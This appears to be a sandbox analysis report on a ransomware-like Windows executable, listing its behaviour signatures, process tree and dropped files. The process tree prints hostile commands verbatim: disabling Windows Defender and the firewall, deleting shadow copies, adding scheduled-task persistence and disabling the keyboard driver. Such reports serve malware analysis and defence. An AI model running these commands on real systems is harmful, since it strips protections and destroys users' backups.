Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/05/2026, 00:42

General

  • Target
    theguide.io_hyber.exe
  • Size 51KB
  • Sample260508-a2bmesct3s
  • SHA256 a42c929b0f5774cc2cab780ec972f419921461a8b87f096cfa87a8f3b7aabcfd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4840
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4288
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2956
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1700
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1956
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5040
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3364
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3380
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4256
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2560
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe"
        3⤵
          PID:4884
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1420
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1356
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1360
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:656
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3156
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3212
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4580
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1520
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4444
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4652
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2360
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1756
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2972
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:4548
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2572
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:3208
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3984
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:996
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2376
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:4764
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:2964
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:1320
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4676
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3840
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:3056
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4452
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2968
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:4660
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a0f855 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1812
              • C:\Windows\system32\wbem\wmiprvse.exe
                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                1⤵
                  PID:1700
                  • C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe
                    C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe
                    2⤵
                      PID:4468
                  • C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe
                    C:\Users\Admin\AppData\Local\Temp\theguide.io_hyber.exe
                    1⤵
                      PID:928
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2908

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 69KB
                          • SHA256 4c3f90b680f35e9aacaf8e3ed206c3919a818465f5232f6237885767dc828d1e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 68KB
                          • SHA256 a66c6ab46be5ef368d00795b233fd8770b5baed8d7c13fe879f5064574f90f07
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          theguide.io_hyber.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\theguide.io_hyber.exe.log
                          • Size 660B
                          • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_oib5o5fv.1dz.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oib5o5fv.1dz.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 242B
                          • SHA256 9d16e692990d2324557e5a108ac89f1aafda50f70765565a1602af09b4352aed
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 243B
                          • SHA256 1c2548fac874bc27b5dd81009ad5a450053192444bf36cf15e78b40b2a94dd51
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 51KB
                          • SHA256 a42c929b0f5774cc2cab780ec972f419921461a8b87f096cfa87a8f3b7aabcfd
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1420-2213-0x00000279A76B0000-0x00000279A77CE000-memory.dmp

                          memory/1420-2214-0x00000279A5B30000-0x00000279A5B3C000-memory.dmp

                          memory/1812-2255-0x00000178D59C0000-0x00000178D5ADE000-memory.dmp

                          memory/2964-2257-0x000001D5B5050000-0x000001D5B5051000-memory.dmp

                          memory/2964-2275-0x000001D5B5400000-0x000001D5B551E000-memory.dmp

                          memory/4288-109-0x0000027114910000-0x0000027114922000-memory.dmp

                          memory/4288-25-0x000002712D0F0000-0x000002712D0FA000-memory.dmp

                          memory/4288-28-0x000002712D130000-0x000002712D136000-memory.dmp

                          memory/4288-21-0x000002712CEC0000-0x000002712CEDC000-memory.dmp

                          memory/4288-108-0x00000271143B0000-0x00000271143BC000-memory.dmp

                          memory/4288-27-0x000002712D100000-0x000002712D108000-memory.dmp

                          memory/4288-26-0x000002712D150000-0x000002712D16A000-memory.dmp

                          memory/4288-13-0x000002712CB30000-0x000002712CB52000-memory.dmp

                          memory/4288-24-0x000002712D110000-0x000002712D12C000-memory.dmp

                          memory/4288-23-0x000002712CEB0000-0x000002712CEBA000-memory.dmp

                          memory/4288-22-0x000002712CEE0000-0x000002712CF93000-memory.dmp

                          memory/4288-29-0x000002712D140000-0x000002712D14A000-memory.dmp

                          memory/4764-2269-0x000001E8B96F0000-0x000001E8B96FC000-memory.dmp

                          memory/4764-2268-0x000001E8B7D00000-0x000001E8B7E1E000-memory.dmp

                          memory/4840-2254-0x000000001B090000-0x000000001B1AE000-memory.dmp

                          memory/4840-2253-0x0000000002330000-0x000000000233C000-memory.dmp

                          memory/4840-3-0x000000001DEB0000-0x000000001E3D8000-memory.dmp

                          memory/4840-2256-0x0000000002540000-0x0000000002550000-memory.dmp

                          memory/4840-0-0x0000000000340000-0x0000000000354000-memory.dmp

                          memory/4840-2-0x000000001D7B0000-0x000000001D972000-memory.dmp

                          memory/4840-1-0x0000000002540000-0x0000000002550000-memory.dmp

                          memory/4840-2281-0x000000001AF30000-0x000000001AF42000-memory.dmp